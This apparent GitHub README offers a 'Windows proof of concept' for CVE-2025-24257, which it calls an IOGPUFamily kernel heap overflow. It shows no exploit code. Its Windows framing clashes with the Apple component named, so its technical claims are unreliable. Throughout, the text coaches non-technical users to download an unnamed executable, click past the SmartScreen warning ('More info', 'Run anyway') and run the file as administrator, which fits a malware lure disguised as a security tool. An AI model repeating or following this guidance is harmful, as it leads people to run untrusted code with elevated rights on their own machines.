🔧 CVE_2025_24257----NOT-MINE - Run the Windows PoC Safely

🧾 Overview

CVE_2025_24257----NOT-MINE is a Windows proof of concept that shows a kernel memory bug in IOGPUFamily. It is based on a bitmap_mask underflow that can lead to a kernel heap out-of-bounds write. This project is the first public PoC tied to the issue.

This repository is for users who want to download the package, open it on Windows, and run the sample with as little setup as possible. The goal of this README is to make the process simple for non-technical users.

📥 Download

Use this link to visit the project page and download the files:

Go to the download page

If the page shows a release, asset, ZIP file, or source archive, download that file to your Windows PC. Save it in a folder you can find again, such as Downloads or Desktop.

🖥️ What You Need

Before you start, make sure you have:

• A Windows PC
• An internet connection
• Enough free space to save the download
• Permission to run files on your computer

This project is built for normal Windows use. A standard laptop or desktop is enough for the basic steps.

🚀 Get Started

Follow these steps in order:

1. Open the download page.
2. Download the project file to your PC.
3. If the file is in a ZIP folder, right-click it and choose Extract All.
4. Open the extracted folder.
5. Look for the main program file, such as an .exe file.
6. Double-click the file to run it.

If Windows shows a security prompt, choose the option that lets you run the file. You may need to click More info first, then Run anyway.

🗂️ File Layout

After you extract the download, you may see files like these:

• README.md - this guide
• exe or app file - the main program
• docs folder - extra notes or usage help
• samples folder - test data or example input
• assets folder - supporting files

The main file is the one you should open first. If the folder contains more than one executable, start with the one that has the clearest name, such as run.exe, main.exe, or a file with the project name.

🛠️ How to Run It

Use this simple flow:

1. Download the project from the link above.
2. Extract the ZIP file if needed.
3. Open the folder.
4. Double-click the main .exe file.
5. Follow any on-screen prompts.

If the program opens a console window, keep it open until the task is done. If it closes right away, run it again and watch for any message that appears.

⚙️ Basic Setup Tips

To keep things smooth:

• Put the files in a short path, such as C:\CVE_2025_24257
• Avoid spaces and special symbols in the folder name
• Close other apps if the program needs full screen or low-level access
• Keep the original file names unchanged
• Use the latest Windows updates available on your system

If the app asks for extra files, place them in the same folder as the main executable.

📌 Common Use Flow

A simple use flow looks like this:

1. Download the package.
2. Extract it.
3. Open the main program.
4. Read any prompt on the screen.
5. Enter the needed input if the app asks for it.
6. Wait for the result.

If the project includes a text file with usage steps, read that file before running the app. It may list the exact order for launch or input.

🧩 Troubleshooting

If the app does not start, try these steps:

• Right-click the file and choose Run as administrator
• Make sure you extracted the ZIP first
• Check that Windows did not block the file
• Move the folder to a simple path like C:\Temp\CVE_2025_24257
• Make sure all files stay together in the same folder

If you see a missing file message, the app likely needs one of its support files in the same folder. Check the extracted folder again and keep the full set of files together.

🔐 Windows Security Prompt

Windows may show a warning before the file runs. This can happen with new or unsigned tools.

If that happens:

1. Click More info
2. Review the file name
3. Click Run anyway if you want to continue

Only run files you got from a source you trust.

🧪 Example Folder Setup

A simple folder structure may look like this:

• C:\CVE_2025_24257
  • main.exe
  • README.md
  • support.dll
  • samples
  • docs

Keep the folder intact after download and extraction. Do not move only one file out of the folder unless the instructions say to do that.

📄 Notes for First-Time Users

If you are new to this kind of tool, keep these points in mind:

• Start with the main file in the folder
• Do not rename files unless the app asks you to
• Do not delete extra files
• Do not run unknown files from other folders
• Read any included text file for the exact run order

This project is meant to be opened and run on Windows with a simple download and launch flow.
